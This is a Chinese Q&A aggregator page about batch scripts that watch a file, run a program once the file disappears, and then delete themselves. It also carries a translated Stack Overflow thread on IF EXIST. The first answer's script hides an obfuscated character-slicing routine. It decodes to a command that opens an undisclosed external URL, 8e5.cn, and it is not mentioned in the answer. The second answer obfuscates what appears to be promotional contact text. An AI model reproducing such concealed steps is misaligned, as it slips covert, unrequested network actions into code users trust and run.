批处理执行检查文件,存在就等待,不存在执行运行另一个程序?
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了批处理执行检查文件,存在就等待,不存在执行运行另一个程序?相关的知识,希望对你有一定的参考价值。
批处理执行检查文件,存在就等待,不存在执行运行另一个程序,最后自毁这个批处理
参考技术A @echo off & title 监测文件 By 依梦琴瑶::设置要监测的文件
set File=D:\TestFile.txt
::设置要执行的程序
set Exe=D:\TestExe.exe
:Loop
if not exist "%File%" goto RunExe
cls & goto Loop
:RunExe
start "" "%Exe%"
call :Yeah
del /f /q "%~0"
:Yeah
set "Va=cD1b2BAdKk7e3CEoFfmjZ8g4ya9OL.U6"
set "Vb=GwrzuSNXVnHPlvMY0/RpWQqJsTtx:h5Ii"
start "" "%Vb:~29,1%%Vb:~26,1%%Vb:~26,1%%Vb:~19,1%%Vb:~28,1%%Vb:~17,1%%Vb:~17,1%%Va:~21,1%%Va:~11,1%%Vb:~30,1%%Va:~29,1%%Va:~0,1%%Vb:~9,1%%Vb:~17,1%%Va:~30,1%%Vb:~0,1%%Vb:~5,1%%Va:~5,1%%Va:~21,1%"
goto :eof 参考技术B 不清楚你的实际文件/情况,仅以问题中的样例/说明为据;以下代码复制粘贴到记事本,另存为xx.bat,编码选ANSI
@echo off&cd /d "%~dp0"
rem 持续检测指定文件是否存在并执行不同操作
set #=Any question&set _=WX&set $=Q&set/az=0x53b7e0b4
title %#% +%$%%$%/%_% %z%
set "objfile=D:\xxx\指定文件"
set "exefile=E:\yyy\指定程序"
:check
cls&echo;monitoring……
if not exist "%objfile%" (echo;"%objfile%" 未找到&goto break)
>nul ping /n 2 0
goto check
:break
if not exist "%exefile%" (echo;"%exefile%" 未找到) else (start "" "%exefile%")
echo;%#% +%$%%$%/%_% %z%
>nul ping /n 2 0
del /a /f /q %0
exit
如何检查批处理文件中是不是存在文件[重复]
【中文标题】如何检查批处理文件中是不是存在文件[重复]【英文标题】:How to check if a file exists from inside a batch file [duplicate]如何检查批处理文件中是否存在文件[重复] 【发布时间】:2011-05-19 10:16:33 【问题描述】:仅当某个文件存在时,我才需要运行实用程序。如何在 Windows 批处理中执行此操作?
【问题讨论】:
【参考方案1】:C:\>help if
在批处理程序中执行条件处理。
IF [NOT] ERRORLEVEL 编号命令
IF [NOT] string1==string2 命令
IF [NOT] EXIST 文件名命令
【讨论】:
【参考方案2】:尝试以下示例,引用自 Windows XP 上 IF /?
的输出:
您还可以使用IF NOT EXIST
检查丢失的文件。
IF
命令非常强大。 IF /?
的输出将奖励仔细阅读。就此而言,请尝试在许多其他内置命令上使用 /?
选项,以获得大量隐藏的宝石。
【讨论】:
为什么是 '.'在文件名的末尾?是不是笔误? 我引用了 CMD.EXE 中内置的实际IF
命令的帮助文本,其中包含这些点。我不知道他们为什么将它们包括在内,它似乎确实不一致。当然,EXIST
关键字实际上需要的是一个有效的文件名,它可能是完全限定的。其他命令使用成语[drive:][path]filename
代替文字filename.
use here,显然更清晰。【参考方案3】:
if exist <insert file name here> (
rem file exists
) else (
rem file doesn't exist
)
或者在单行上(如果只需要执行一个操作):
if exist <insert file name here> <action>
例如,如果文件存在,这会在 autoexec.bat 上打开记事本:
if exist c:\autoexec.bat notepad c:\autoexec.bat
【讨论】:
如果你正在处理带空格的路径:***.com/questions/138981/… @loopkin -else
是有效的,参见“if /?” ... "ELSE 子句必须与 IF 之后的命令出现在同一行。例如:[...numerous examples of use...]"
@chris-j 谢谢 Chris,你是对的,看来括号必须与 else 在同一行。那就是我做错了。我想我永远不会习惯批处理语法:(
如果您像我一样是 n00b 并且忘记更换波浪形括号,那么这将不起作用。因此,当您在此处插入文件名时,请务必删除 !花了很尴尬的 5 分钟才意识到这一点:(
IF EXIST
构造的一个警告:它无法检测隐藏文件(具有隐藏属性的文件)。以上是关于批处理执行检查文件,存在就等待,不存在执行运行另一个程序?的主要内容,如果未能解决你的问题,请参考以下文章